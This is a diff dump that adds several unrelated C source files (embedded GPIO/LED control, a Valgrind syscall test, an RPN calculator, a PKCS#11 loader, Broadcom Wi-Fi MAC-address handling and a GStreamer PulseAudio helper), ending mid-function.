+ * ESCUELA DE INGENIERIA ELECTRONICA, INSTITUTO TECNOLOGICO DE COSTA RICA
+ * 
+ * Made by Roy Araya, Mechatronics Engineering Student
+ * royaraya16@gmail.com
+ * 
+ * Special Thanks to James Strawson and Derek Molloy
+ * 
+ 	
+Copyright (c) 2015, Roy Araya
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer. 
+2. Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+The views and conclusions contained in the software and documentation are those
+of the authors and should not be interpreted as representing official policies, 
+either expressed or implied, of the FreeBSD Project.
+*/
+
+#include "GPIO/GPIO.h"
+
+#define NUM_OUT_PINS 11
+
+unsigned int out_gpio_pins[] = 
+					{MDIR1A, MDIR1B, MDIR2A, MDIR2B, 
+					 MOT_STBY, GRN_LED, RED_LED, LED_1,
+					 LED_2, LED_3, LED_4};
+
+unsigned int led_array[] = 
+					{LED_1, LED_2, LED_3, LED_4};
+					
+int ledCount = 0;
+int countSign = 1;
+					 
+int init_GPIO(){
+	
+	int i = 0;
+	
+	for(i=0; i<NUM_OUT_PINS; i++){
+		if(gpio_export(out_gpio_pins[i])){
+			printf("failed to export gpio %d", out_gpio_pins[i]);
+			return -1;
+		};
+		gpio_set_dir(out_gpio_pins[i], OUTPUT_PIN);
+	}
+	
+	// Desactivar el puente H, por si las moscas
+	
+	//gpio_set_value(MOT_STBY, LOW);
+	
+	return 0;
+}
+
+int turnOn_leds(){
+	int i;
+	for(i=0; i<4; i++){
+		gpio_set_value(led_array[i], HIGH);
+	}
+	
+	return 0;
+}
+
+int turnOff_leds(){
+	int i;
+	for(i=0; i<4; i++){
+		gpio_set_value(led_array[i], LOW);
+	}
+	
+	return 0;
+}
+
+int ledLogic(){
+	
+	turnOff_leds();
+	
+	gpio_set_value(led_array[ledCount], HIGH);
+	
+	ledCount = ledCount + countSign;
+	
+	if(ledCount == 3){
+		countSign = -1;
+	}
+	
+	if(ledCount == 0){
+		countSign = 1;
+	}
+	
+	return 0;
+}
+
+int ledsToggle(){
+	
+	unsigned int value;
+	gpio_get_value(LED_1, &value);
+	
+	if(value == HIGH){
+		turnOff_leds();
+	}
+	
+	else{
+		turnOn_leds();
+	}
+	
+	return 0;
+}
+
+int led_slowLogic(){
+	
+	static int slow_ledCount = 0;
+	static int slow_countSign = 1;
+	static int slow_count = 0;
+	
+	if(slow_count > 20){
+		
+		turnOff_leds();
+		
+		gpio_set_value(led_array[slow_ledCount], HIGH);
+		
+		slow_ledCount = slow_ledCount + slow_countSign;
+		
+		if(slow_ledCount == 3){
+			slow_countSign = -1;
+		}
+		
+		if(slow_ledCount == 0){
+			slow_countSign = 1;
+		}
+		
+		slow_count = 0;
+	}
+	
+	slow_count++;
+	
+	return 0;
+}
+
+int batteryLed_logic(float voltage){
+	
+	if(voltage > 8.1){
+		gpio_set_value(LED_1, HIGH);
+		gpio_set_value(LED_2, HIGH);
+		gpio_set_value(LED_3, HIGH);
+		gpio_set_value(LED_4, HIGH);
+	}
+	
+	else if(voltage > 7.8){
+		gpio_set_value(LED_1, HIGH);
+		gpio_set_value(LED_2, HIGH);
+		gpio_set_value(LED_3, HIGH);
+		gpio_set_value(LED_4, LOW);
+	}
+	
+	else if(voltage > 7.5){
+		gpio_set_value(LED_1, HIGH);
+		gpio_set_value(LED_2, HIGH);
+		gpio_set_value(LED_3, LOW);
+		gpio_set_value(LED_4, LOW);
+	}
+	
+	else if(voltage > 7.4){
+		gpio_set_value(LED_1, HIGH);
+		gpio_set_value(LED_2, LOW);
+		gpio_set_value(LED_3, LOW);
+		gpio_set_value(LED_4, LOW);
+	}
+	
+	return 0;
+}
+
diff --git a/pool/shard001/C/0024586_eventhandler.c b/pool/shard001/C/0024586_eventhandler.c
new file mode 100644
index 0000000000000000000000000000000000000000..7caa096ea151a1108af50c0bd4428052887458c4
--- /dev/null
+++ b/pool/shard001/C/0024586_eventhandler.c
@@ -0,0 +1,45 @@
+#include "eventhandler.h"
+
+struct InaudibleEventHandler
+{
+    InaudibleLinkedList* events;
+};
+
+InaudibleEventHandler*
+inaudible_eventhandler_new()
+{
+    InaudibleEventHandler* handler = INAUDIBLE_NEW(InaudibleEventHandler);
+    handler->events = inaudible_linkedlist_new();
+    return handler;
+}
+
+void inaudible_eventhandler_destroy(InaudibleEventHandler* handler) {
+    inaudible_linkedlist_destroy(handler->events);
+    INAUDIBLE_DESTROY(handler);
+}
+
+void
+inaudible_eventhandler_register(InaudibleEventHandler* handler,
+                         void                          (*event))
+{
+    inaudible_linkedlist_add(&(handler->events), &event);
+}
+
+void
+inaudible_eventhandler_unregister(InaudibleEventHandler* handler,
+                                void                     (*event))
+{
+    inaudible_linkedlist_remove(&(handler->events), &event);
+}
+
+void
+inaudible_eventhandler_raise(InaudibleEventHandler* handler)
+{
+    InaudibleLinkedList* events = handler->events;
+    void* callback;
+    while (events)
+    {
+        callback = inaudible_linkedlist_get_value(events);
+        events = events->next;
+    }
+}
diff --git a/pool/shard001/C/0024588_syscall_return_args.c b/pool/shard001/C/0024588_syscall_return_args.c
new file mode 100644
index 0000000000000000000000000000000000000000..8fcb90e58c97a90e379bdc2a7fe8d872db5ece76
--- /dev/null
+++ b/pool/shard001/C/0024588_syscall_return_args.c
@@ -0,0 +1,63 @@
+/* Tests that Valgrind correctly handles syscalls returning
+   either 1 (in %rax) or 2 values (in %rdx:%rax). */
+
+#include <stdio.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+
+#define GARBAGE 0x0caffedeadbeef
+
+static void syscall_rval(int sysno, uint64_t *rval_hi, uint64_t *rval_lo)
+{
+   __asm__ (
+      "movq %[INPUT1],%%rdx\n"
+      "movq %[SYSCALL_NUMBER],%%rax\n"
+      "syscall\n"
+      "movq %[RVAL_HI],%%rcx\n"
+      "movq %%rdx,(%%rcx)\n"
+      "movq %[RVAL_LO],%%rcx\n"
+      "movq %%rax,(%%rcx)\n"
+      : [RVAL_HI] "=m" (rval_hi), [RVAL_LO] "=m" (rval_lo)	/* output */
+      : [INPUT1] "i" (GARBAGE), [SYSCALL_NUMBER] "g" (sysno)	/* input */
+      : "rax", "rcx", "rdx", "cc", "memory");			/* clobbers */
+}
+
+static int syscall_rval1(void) {
+   uint64_t valHi, valLo;
+
+   /* Syscall lwp_self returns just tid in rax. */
+   valHi = valLo = GARBAGE;
+   syscall_rval(SYS_lwp_self, &valHi, &valLo);
+   if ((valHi != GARBAGE) || (valLo != 1)) {
+      fprintf(stderr, "rval1 FAILED [%#lx:%#lx]\n", valHi, valLo);
+      return 1;
+   }
+
+   return 0;
+}
+
+static int syscall_rval2(void) {
+   uint64_t valHi, valLo;
+
+   /* Syscall getpid returns pid in rax and ppid in rdx. */
+   valHi = valLo = GARBAGE;
+   syscall_rval(SYS_getpid, &valHi, &valLo);
+   if ((valHi == GARBAGE) || (valLo == GARBAGE)) {
+      fprintf(stderr, "rval2 FAILED [%#lx:%#lx]\n", valHi, valLo);
+      return 1;
+   }
+
+   return 0;
+}
+
+int main(void) {
+   int ret = 0;
+
+   ret |= syscall_rval1();
+   ret |= syscall_rval2();
+
+   if (ret != 0)
+     fprintf(stderr, "FAIL\n");
+
+   return ret;
+}
diff --git a/pool/shard001/C/0024597_Dispatcher.c b/pool/shard001/C/0024597_Dispatcher.c
new file mode 100644
index 0000000000000000000000000000000000000000..92ec173a852841887ccd2fd4fd7e502d35bd582c
--- /dev/null
+++ b/pool/shard001/C/0024597_Dispatcher.c
@@ -0,0 +1,40 @@
+
+/*
+ * ======== string literals ========
+ */
+
+static const char pollen_events_Dispatcher__s__fileName[] = "Dispatcher.p";
+static const char pollen_events_Dispatcher__s__0[] = "Dispatcher";
+
+/*
+ * ======== function definitions ========
+ */
+
+void pollen_events_Dispatcher_postFromInterrupt__E( struct pollen_events_AE*  e ) {
+    pollen_data_AEQueue_AEQueue_enqueue__E(Dispatcher.AEQueue, (e));
+}
+
+void pollen_events_Dispatcher_post__E( struct pollen_events_AE*  e ) {
+    bool on;
+    on = pollen_interfaces_GlobalInterrupts_disable__E();
+    pollen_data_AEQueue_AEQueue_enqueue__E(Dispatcher.AEQueue, (e));
+    pollen_interfaces_GlobalInterrupts_restore__E((on));
+}
+
+void pollen_events_Dispatcher_run__E() {
+    bool on;
+    pollen_events_AE_ e;
+    pollen_interfaces_GlobalInterrupts_enable__E();
+    while (true) {
+        on = pollen_interfaces_GlobalInterrupts_disable__E();
+        e = pollen_data_AEQueue_AEQueue_dequeue__E(Dispatcher.AEQueue);
+        pollen_interfaces_GlobalInterrupts_restore__E((on));
+        if ((e) != null) {
+            pollen_events_AE_AE_handle__E(e);
+        }
+    }
+}
+
+void pollen_events_Dispatcher_targetInit__I() {
+}
+
diff --git a/pool/shard001/C/0024600_main.c b/pool/shard001/C/0024600_main.c
new file mode 100644
index 0000000000000000000000000000000000000000..bec2991276cffb522ef65129e6e84333c64086eb
--- /dev/null
+++ b/pool/shard001/C/0024600_main.c
@@ -0,0 +1,146 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+#include <stddef.h>
+
+#include "context.h"
+#include "operators.h"
+
+#define MAX_TERMS 2048
+
+enum token_type {
+  VALUE,
+  OPERATOR,
+  COMMENT,
+  ASSIGNMENT,
+  VARIABLE,
+  INVALID
+};
+
+int isNumeric(const char * s)
+{
+    if (s == NULL || *s == '\0' || isspace(*s)) {
+      return 0;
+    }
+    char * p;
+    strtod (s, &p);
+    return *p == '\0';
+}
+
+enum token_type typeOf(char *input, struct Context * ctx) {
+  if (isNumeric(input)) {
+    return VALUE;
+  }
+  if (strlen(input) == 1 && strstr("+-*/^", input)) {
+    return OPERATOR;
+  }
+  if (strcmp(input, "//") == 0) {
+    return COMMENT;
+  }
+  if (strlen(input) > 1 && input[0] == ':' && input[1] != ':') {
+    return ASSIGNMENT;
+  }
+  if (containsVariable(ctx, input)){
+    return VARIABLE; 
+  }
+  return INVALID;
+}
+
+double interpret(struct Context * ctx, char* line_) {
+  int stack_top = 0;
+  double stack[MAX_TERMS];
+  // Tokenize Program
+  char *line = strdup(line_);
+  char *pptr = strtok(line, " ");
+  int finished = 0;
+  while (pptr != NULL && !finished) {
+    switch (typeOf(pptr, ctx)) {
+      case VALUE: {
+        // Push value onto stack
+        stack[stack_top] = strtod(pptr, NULL); 
+        stack_top++;
+        break;
+      }
+      case OPERATOR: {
+          // Get the correct operator
+          operator op = getOperator(pptr);
+          if (op == NULL) {
+            fprintf(stderr, "Unsupported operator: %s. Terminating!\n", pptr);
+            exit(EXIT_FAILURE);
+          }
+          // Pop two values from the stack
+          double lhs, rhs, result;
+          rhs = stack[--stack_top];
+          lhs = stack[--stack_top];
+          // Apply the operator
+          result = op(lhs, rhs);
+          // Push result back to the stack
+          stack[stack_top] = result;
+          stack_top++;
+          break;
+      }
+      case COMMENT: {
+        finished = 1;
+        break;
+      }
+      case ASSIGNMENT: {
+        // pptr+1 to skip semicolon, stack_top - 1 to peek at top item on stack
+        storeVariable(ctx, pptr+1, stack[stack_top - 1]);
+        break;
+      }
+      case VARIABLE: {
+        // Push value onto stack
+        stack[stack_top] = readVariable(ctx, pptr);
+        stack_top++;
+        break;
+      }
+      case INVALID: // Fall through
+      default:
+        fprintf(stderr, "Invalid token: '%s'. Terminating!\n", pptr);
+        free(line);
+        exit(EXIT_FAILURE);
+    }
+    pptr = strtok(NULL, " ");
+  }
+  free(line);
+  return stack[0];
+}
+
+int main(int argc, char *argv[]) {
+  // Use stdin as input if no filename given
+  FILE *input_file = stdin;
+  // Use a single file if one argument is given
+  if (argc == 2) {
+    input_file = fopen(argv[1], "r");
+    if (!input_file) {
+      fprintf(stderr, "Unable to open file %s!\n", argv[1]);
+      return EXIT_FAILURE;
+    }
+  }
+  // 
+  if (argc > 2) {
+    fprintf(stderr, "Usage: %s [filename]\nToo many arguments!", argv[0]);
+    return EXIT_FAILURE;
+  }
+
+  size_t len;
+  ssize_t read;
+  char *line = NULL;
+  struct Context * ctx = createContext();
+  while ((read = getline(&line, &len, input_file)) != -1) {
+    // Remove trailing newline
+    char *pos;
+    if ((pos = strchr(line, '\n')) != NULL) {
+        *pos = '\0';
+    }
+    char *line_copy = strdup(line);
+    printf("%f // %s\n", interpret(ctx, line_copy), line);
+    free(line_copy);
+  }
+  // Cleanup
+  free(line);
+  freeContext(ctx);
+  fclose(input_file);
+  return EXIT_SUCCESS;
+}
diff --git a/pool/shard001/C/0024602_libpkcs11.c b/pool/shard001/C/0024602_libpkcs11.c
new file mode 100644
index 0000000000000000000000000000000000000000..b22d16de868c2442374862e72980d7b34a612517
--- /dev/null
+++ b/pool/shard001/C/0024602_libpkcs11.c
@@ -0,0 +1,83 @@
+/*
+ * Convenience pkcs11 library that can be linked into an application,
+ * and will bind to a specific pkcs11 module.
+ *
+ * Copyright (C) 2002  Olaf Kirch <okir@lst.de>
+ */
+
+#include "config.h"
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+#include "pkcs11/pkcs11.h"
+
+#include "common/libscdl.h"
+#include "common/libpkcs11.h"
+
+#define MAGIC			0xd00bed00
+
+struct sc_pkcs11_module {
+	unsigned int _magic;
+	void *handle;
+};
+typedef struct sc_pkcs11_module sc_pkcs11_module_t;
+
+/*
+ * Load a module - this will load the shared object, call
+ * C_Initialize, and get the list of function pointers
+ */
+void *
+C_LoadModule(const char *mspec, CK_FUNCTION_LIST_PTR_PTR funcs)
+{
+	sc_pkcs11_module_t *mod;
+	CK_RV rv, (*c_get_function_list)(CK_FUNCTION_LIST_PTR_PTR);
+	mod = calloc(1, sizeof(*mod));
+	mod->_magic = MAGIC;
+
+	if (mspec == NULL) {
+		free(mod);
+		return NULL;
+	}
+	mod->handle = sc_dlopen(mspec);
+	if (mod->handle == NULL) {
+		fprintf(stderr, "sc_dlopen failed: %s\n", sc_dlerror());
+		goto failed;
+	}
+
+	/* Get the list of function pointers */
+	c_get_function_list = (CK_RV (*)(CK_FUNCTION_LIST_PTR_PTR))
+				sc_dlsym(mod->handle, "C_GetFunctionList");
+	if (!c_get_function_list)
+		goto failed;
+	rv = c_get_function_list(funcs);
+	if (rv == CKR_OK)
+		return (void *) mod;
+	else
+		fprintf(stderr, "C_GetFunctionList failed %lx", rv);
+failed:
+	C_UnloadModule((void *) mod);
+	return NULL;
+}
+
+/*
+ * Unload a pkcs11 module.
+ * The calling application is responsible for cleaning up
+ * and calling C_Finalize
+ */
+CK_RV
+C_UnloadModule(void *module)
+{
+	sc_pkcs11_module_t *mod = (sc_pkcs11_module_t *) module;
+
+	if (!mod || mod->_magic != MAGIC)
+		return CKR_ARGUMENTS_BAD;
+
+	if (mod->handle != NULL && sc_dlclose(mod->handle) < 0)
+		return CKR_FUNCTION_FAILED;
+
+	memset(mod, 0, sizeof(*mod));
+	free(mod);
+	return CKR_OK;
+}
diff --git a/pool/shard001/C/0024604_dhd_custom_sec.c b/pool/shard001/C/0024604_dhd_custom_sec.c
new file mode 100644
index 0000000000000000000000000000000000000000..5a1ee09869349b466a3418fe830a0707ea91da29
--- /dev/null
+++ b/pool/shard001/C/0024604_dhd_custom_sec.c
@@ -0,0 +1,219 @@
+#include <typedefs.h>
+#include <linuxver.h>
+#include <osl.h>
+
+#include <proto/ethernet.h>
+#include <dngl_stats.h>
+#include <bcmutils.h>
+#include <dhd.h>
+#include <dhd_dbg.h>
+
+#include <linux/fcntl.h>
+#include <linux/fs.h>
+
+struct dhd_info;
+extern int _dhd_set_mac_address(struct dhd_info *dhd,
+					int ifidx, struct ether_addr *addr);
+
+#define MACINFO "/data/.mac.info"
+#define PSMINFO "/data/.psm.info"
+
+#ifdef READ_MACADDR
+int dhd_read_macaddr(struct dhd_info *dhd, struct ether_addr *mac)
+{
+	struct file *fp      = NULL;
+	char macbuffer[18]   = {0};
+	mm_segment_t oldfs   = {0};
+	char randommac[3]    = {0};
+	char buf[18]         = {0};
+	char *filepath   = MACINFO;
+	int ret = 0;
+
+		fp = filp_open(filepath, O_RDONLY, 0);
+		if (IS_ERR(fp)) {
+start_readmac:
+			/* File Doesn't Exist. Create and write mac addr.*/
+			fp = filp_open(filepath, O_RDWR | O_CREAT, 0666);
+			if (IS_ERR(fp)) {
+			DHD_ERROR(("[WIFI] %s: File open error\n", filepath));
+				return -1;
+			}
+			oldfs = get_fs();
+			set_fs(get_ds());
+
+		/* Generating the Random Bytes for 3 last octects of the MAC address */
+			get_random_bytes(randommac, 3);
+
+			sprintf(macbuffer, "%02X:%02X:%02X:%02X:%02X:%02X\n",
+					0x00, 0x12, 0x34, randommac[0], randommac[1], randommac[2]);
+		DHD_ERROR(("[WIFI]The Random Generated MAC ID: %s\n", macbuffer));
+
+			if (fp->f_mode & FMODE_WRITE) {
+			ret = fp->f_op->write(fp, (const char *)macbuffer, sizeof(macbuffer), &fp->f_pos);
+				if (ret < 0)
+				DHD_ERROR(("[WIFI]MAC address [%s] Failed to write into File: %s\n", macbuffer, filepath));
+				else
+				DHD_ERROR(("[WIFI]MAC address [%s] written into File: %s\n", macbuffer, filepath));
+			}
+			set_fs(oldfs);
+		/* Reading the MAC Address from .mac.info file( the existed file or just created file)*/
+		ret = kernel_read(fp, 0, buf, 18);
+	} else {
+		/* Reading the MAC Address from .mac.info file( the existed file or just created file)*/
+		ret = kernel_read(fp, 0, buf, 18);
+/* to prevent abnormal string display when mac address is displayed on the screen. */
+		buf[17] = '\0';
+		DHD_ERROR(("Read MAC : [%s] [%d] \r\n" , buf, strncmp(buf , "00:00:00:00:00:00" , 17)));
+		if (strncmp(buf , "00:00:00:00:00:00" , 17) < 1) {
+			DHD_ERROR(("goto start_readmac \r\n"));
+			filp_close(fp, NULL);
+			goto start_readmac;
+		}
+	}
+
+	if (ret)
+		sscanf(buf, "%02X:%02X:%02X:%02X:%02X:%02X",
+			   (unsigned int *)&(mac->octet[0]), (unsigned int *)&(mac->octet[1]),
+			   (unsigned int *)&(mac->octet[2]), (unsigned int *)&(mac->octet[3]),
+			   (unsigned int *)&(mac->octet[4]), (unsigned int *)&(mac->octet[5]));
+	else
+		DHD_ERROR(("dhd_bus_start: Reading from the '%s' returns 0 bytes\n", filepath));
+
+	if (fp)
+		filp_close(fp, NULL);
+
+	/* Writing Newly generated MAC ID to the Dongle */
+	if (0 == _dhd_set_mac_address(dhd, 0, mac))
+		DHD_INFO(("dhd_bus_start: MACID is overwritten\n"));
+	else
+		DHD_ERROR(("dhd_bus_start: _dhd_set_mac_address() failed\n"));
+
+	return 0;
+}
+#endif /* READ_MACADDR */
+
+#ifdef WRITE_MACADDR
+int dhd_write_macaddr(struct ether_addr *mac)
+{
+    char *filepath_data      = MACINFO;
+
+	struct file *fp_mac = NULL;
+	char buf[18]      = {0};
+	mm_segment_t oldfs    = {0};
+	int ret = -1;
+	int retry_count = 0;
+
+startwrite:
+
+	sprintf(buf, "%02X:%02X:%02X:%02X:%02X:%02X\n",
+			mac->octet[0], mac->octet[1], mac->octet[2],
+			mac->octet[3], mac->octet[4], mac->octet[5]);
+
+	/* File will be created /data/.mac.info. */
+	fp_mac = filp_open(filepath_data, O_RDWR | O_CREAT, 0666);
+
+	if (IS_ERR(fp_mac)) {
+		DHD_ERROR(("[WIFI] %s: File open error\n", filepath_data));
+		return -1;
+	} else {
+		oldfs = get_fs();
+		set_fs(get_ds());
+
+		if (fp_mac->f_mode & FMODE_WRITE) {
+			ret = fp_mac->f_op->write(fp_mac, (const char *)buf,
+				sizeof(buf), &fp_mac->f_pos);
+			if (ret < 0)
+				DHD_ERROR(("[WIFI] Mac address [%s] Failed to"
+				" write into File: %s\n", buf, filepath_data));
+			else
+				DHD_INFO(("[WIFI] Mac address [%s] written"
+				" into File: %s\n", buf, filepath_data));
+		}
+		set_fs(oldfs);
+		filp_close(fp_mac, NULL);
+	}
+	/* check .mac.info file is 0 byte */
+	fp_mac = filp_open(filepath_data, O_RDONLY, 0);
+	ret = kernel_read(fp_mac, 0, buf, 18);
+
+	if ((ret == 0) && (retry_count++ < 3)) {
+		filp_close(fp_mac, NULL);
+		goto startwrite;
+	}
+
+	filp_close(fp_mac, NULL);
+	/* end of /data/.mac.info */
+
+	return 0;
+}
+#endif /* WRITE_MACADDR */
+
+#ifdef CONFIG_CONTROL_PM
+extern bool g_pm_control;
+void sec_control_pm(dhd_pub_t *dhd, uint *power_mode)
+{
+	struct file *fp = NULL;
+	char *filepath = PSMINFO;
+	mm_segment_t oldfs = {0};
+	char power_val = 0;
+	char iovbuf[WL_EVENTING_MASK_LEN + 12];
+
+	g_pm_control = FALSE;
+
+	fp = filp_open(filepath, O_RDONLY, 0);
+	if (IS_ERR(fp)) {
+		/* Enable PowerSave Mode */
+		dhd_wl_ioctl_cmd(dhd, WLC_SET_PM, (char *)power_mode,
+			sizeof(uint), TRUE, 0);
+
+		fp = filp_open(filepath, O_RDWR | O_CREAT, 0666);
+		if (IS_ERR(fp) || (fp == NULL)) {
+			DHD_ERROR(("[%s, %d] /data/.psm.info open failed\n",
+				__FUNCTION__, __LINE__));
+			return;
+		} else {
+			oldfs = get_fs();
+			set_fs(get_ds());
+
+			if (fp->f_mode & FMODE_WRITE) {
+				power_val = '1';
+				fp->f_op->write(fp, (const char *)&power_val,
+					sizeof(char), &fp->f_pos);
+			}
+			set_fs(oldfs);
+		}
+	} else {
+		kernel_read(fp, fp->f_pos, &power_val, 1);
+		DHD_ERROR(("POWER_VAL = %c \r\n" , power_val));
+
+		if (power_val == '0') {
+#ifdef ROAM_ENABLE
+			uint roamvar = 1;
+#endif
+			*power_mode = PM_OFF;
+			/* Disable PowerSave Mode */
+			dhd_wl_ioctl_cmd(dhd, WLC_SET_PM, (char *)power_mode,
+				sizeof(uint), TRUE, 0);
+			/* Turn off MPC in AP mode */
+			bcm_mkiovar("mpc", (char *)power_mode, 4,
+					iovbuf, sizeof(iovbuf));
+			dhd_wl_ioctl_cmd(dhd, WLC_SET_VAR, iovbuf,
+				sizeof(iovbuf), TRUE, 0);
+			g_pm_control = TRUE;
+#ifdef ROAM_ENABLE
+			/* Roaming off of dongle */
+			bcm_mkiovar("roam_off", (char *)&roamvar, 4,
+					iovbuf, sizeof(iovbuf));
+			dhd_wl_ioctl_cmd(dhd, WLC_SET_VAR, iovbuf,
+				sizeof(iovbuf), TRUE, 0);
+#endif
+		} else {
+			dhd_wl_ioctl_cmd(dhd, WLC_SET_PM, (char *)power_mode,
+				sizeof(uint), TRUE, 0);
+		}
+	}
+
+	if (fp)
+		filp_close(fp, NULL);
+}
+#endif
diff --git a/pool/shard001/C/0024608_pulseutil.c b/pool/shard001/C/0024608_pulseutil.c
new file mode 100644
index 0000000000000000000000000000000000000000..6efcf849012ce18575d99705083bd8d03335d35b
--- /dev/null
+++ b/pool/shard001/C/0024608_pulseutil.c
@@ -0,0 +1,209 @@
+/*
+ *  GStreamer pulseaudio plugin
+ *
+ *  Copyright (c) 2004-2008 Lennart Poettering
+ *
+ *  gst-pulse is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU Lesser General Public License as
+ *  published by the Free Software Foundation; either version 2.1 of the
+ *  License, or (at your option) any later version.
+ *
+ *  gst-pulse is distributed in the hope that it will be useful, but
+ *  WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with gst-pulse; if not, write to the Free Software
+ *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
+ *  USA.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include "pulseutil.h"
+#include <gst/audio/multichannel.h>
+
+static const pa_channel_position_t gst_pos_to_pa[GST_AUDIO_CHANNEL_POSITION_NUM]
+    = {
+  [GST_AUDIO_CHANNEL_POSITION_FRONT_MONO] = PA_CHANNEL_POSITION_MONO,
+  [GST_AUDIO_CHANNEL_POSITION_FRONT_LEFT] = PA_CHANNEL_POSITION_FRONT_LEFT,
+  [GST_AUDIO_CHANNEL_POSITION_FRONT_RIGHT] = PA_CHANNEL_POSITION_FRONT_RIGHT,
+  [GST_AUDIO_CHANNEL_POSITION_REAR_CENTER] = PA_CHANNEL_POSITION_REAR_CENTER,
+  [GST_AUDIO_CHANNEL_POSITION_REAR_LEFT] = PA_CHANNEL_POSITION_REAR_LEFT,
+  [GST_AUDIO_CHANNEL_POSITION_REAR_RIGHT] = PA_CHANNEL_POSITION_REAR_RIGHT,
+  [GST_AUDIO_CHANNEL_POSITION_LFE] = PA_CHANNEL_POSITION_LFE,
+  [GST_AUDIO_CHANNEL_POSITION_FRONT_CENTER] = PA_CHANNEL_POSITION_FRONT_CENTER,
+  [GST_AUDIO_CHANNEL_POSITION_FRONT_LEFT_OF_CENTER] =
+      PA_CHANNEL_POSITION_FRONT_LEFT_OF_CENTER,
+  [GST_AUDIO_CHANNEL_POSITION_FRONT_RIGHT_OF_CENTER] =
+      PA_CHANNEL_POSITION_FRONT_RIGHT_OF_CENTER,
+  [GST_AUDIO_CHANNEL_POSITION_SIDE_LEFT] = PA_CHANNEL_POSITION_SIDE_LEFT,
+  [GST_AUDIO_CHANNEL_POSITION_SIDE_RIGHT] = PA_CHANNEL_POSITION_SIDE_RIGHT,
+  [GST_AUDIO_CHANNEL_POSITION_NONE] = PA_CHANNEL_POSITION_INVALID
+};
+
+/* All index are increased by one because PA_CHANNEL_POSITION_INVALID == -1 */
+static const GstAudioChannelPosition
+    pa_to_gst_pos[GST_AUDIO_CHANNEL_POSITION_NUM]
+    = {
+  [PA_CHANNEL_POSITION_MONO + 1] = GST_AUDIO_CHANNEL_POSITION_FRONT_MONO,
+  [PA_CHANNEL_POSITION_FRONT_LEFT + 1] = GST_AUDIO_CHANNEL_POSITION_FRONT_LEFT,
+  [PA_CHANNEL_POSITION_FRONT_RIGHT + 1] =
+      GST_AUDIO_CHANNEL_POSITION_FRONT_RIGHT,
+  [PA_CHANNEL_POSITION_REAR_CENTER + 1] =
+      GST_AUDIO_CHANNEL_POSITION_REAR_CENTER,
+  [PA_CHANNEL_POSITION_REAR_LEFT + 1] = GST_AUDIO_CHANNEL_POSITION_REAR_LEFT,
+  [PA_CHANNEL_POSITION_REAR_RIGHT + 1] = GST_AUDIO_CHANNEL_POSITION_REAR_RIGHT,
+  [PA_CHANNEL_POSITION_LFE + 1] = GST_AUDIO_CHANNEL_POSITION_LFE,
+  [PA_CHANNEL_POSITION_FRONT_CENTER + 1] =
+      GST_AUDIO_CHANNEL_POSITION_FRONT_CENTER,
+  [PA_CHANNEL_POSITION_FRONT_LEFT_OF_CENTER + 1] =
+      GST_AUDIO_CHANNEL_POSITION_FRONT_LEFT_OF_CENTER,
+  [PA_CHANNEL_POSITION_FRONT_RIGHT_OF_CENTER + 1] =
+      GST_AUDIO_CHANNEL_POSITION_FRONT_RIGHT_OF_CENTER,
+  [PA_CHANNEL_POSITION_SIDE_LEFT + 1] = GST_AUDIO_CHANNEL_POSITION_SIDE_LEFT,
+  [PA_CHANNEL_POSITION_SIDE_RIGHT + 1] = GST_AUDIO_CHANNEL_POSITION_SIDE_RIGHT,
+  [PA_CHANNEL_POSITION_INVALID + 1] = GST_AUDIO_CHANNEL_POSITION_NONE,
+};
+
+gboolean
+gst_pulse_fill_sample_spec (GstRingBufferSpec * spec, pa_sample_spec * ss)
+{
+
+  if (spec->format == GST_MU_LAW && spec->width == 8)
+    ss->format = PA_SAMPLE_ULAW;
+  else if (spec->format == GST_A_LAW && spec->width == 8)
+    ss->format = PA_SAMPLE_ALAW;
+  else if (spec->format == GST_U8 && spec->width == 8)
+    ss->format = PA_SAMPLE_U8;
+  else if (spec->format == GST_S16_LE && spec->width == 16)
+    ss->format = PA_SAMPLE_S16LE;
+  else if (spec->format == GST_S16_BE && spec->width == 16)
+    ss->format = PA_SAMPLE_S16BE;
+  else if (spec->format == GST_FLOAT32_LE && spec->width == 32)
+    ss->format = PA_SAMPLE_FLOAT32LE;
+  else if (spec->format == GST_FLOAT32_BE && spec->width == 32)
+    ss->format = PA_SAMPLE_FLOAT32BE;
+  else if (spec->format == GST_S32_LE && spec->width == 32)
+    ss->format = PA_SAMPLE_S32LE;
+  else if (spec->format == GST_S32_BE && spec->width == 32)
+    ss->format = PA_SAMPLE_S32BE;
+  else
+    return FALSE;
+
+  ss->channels = spec->channels;
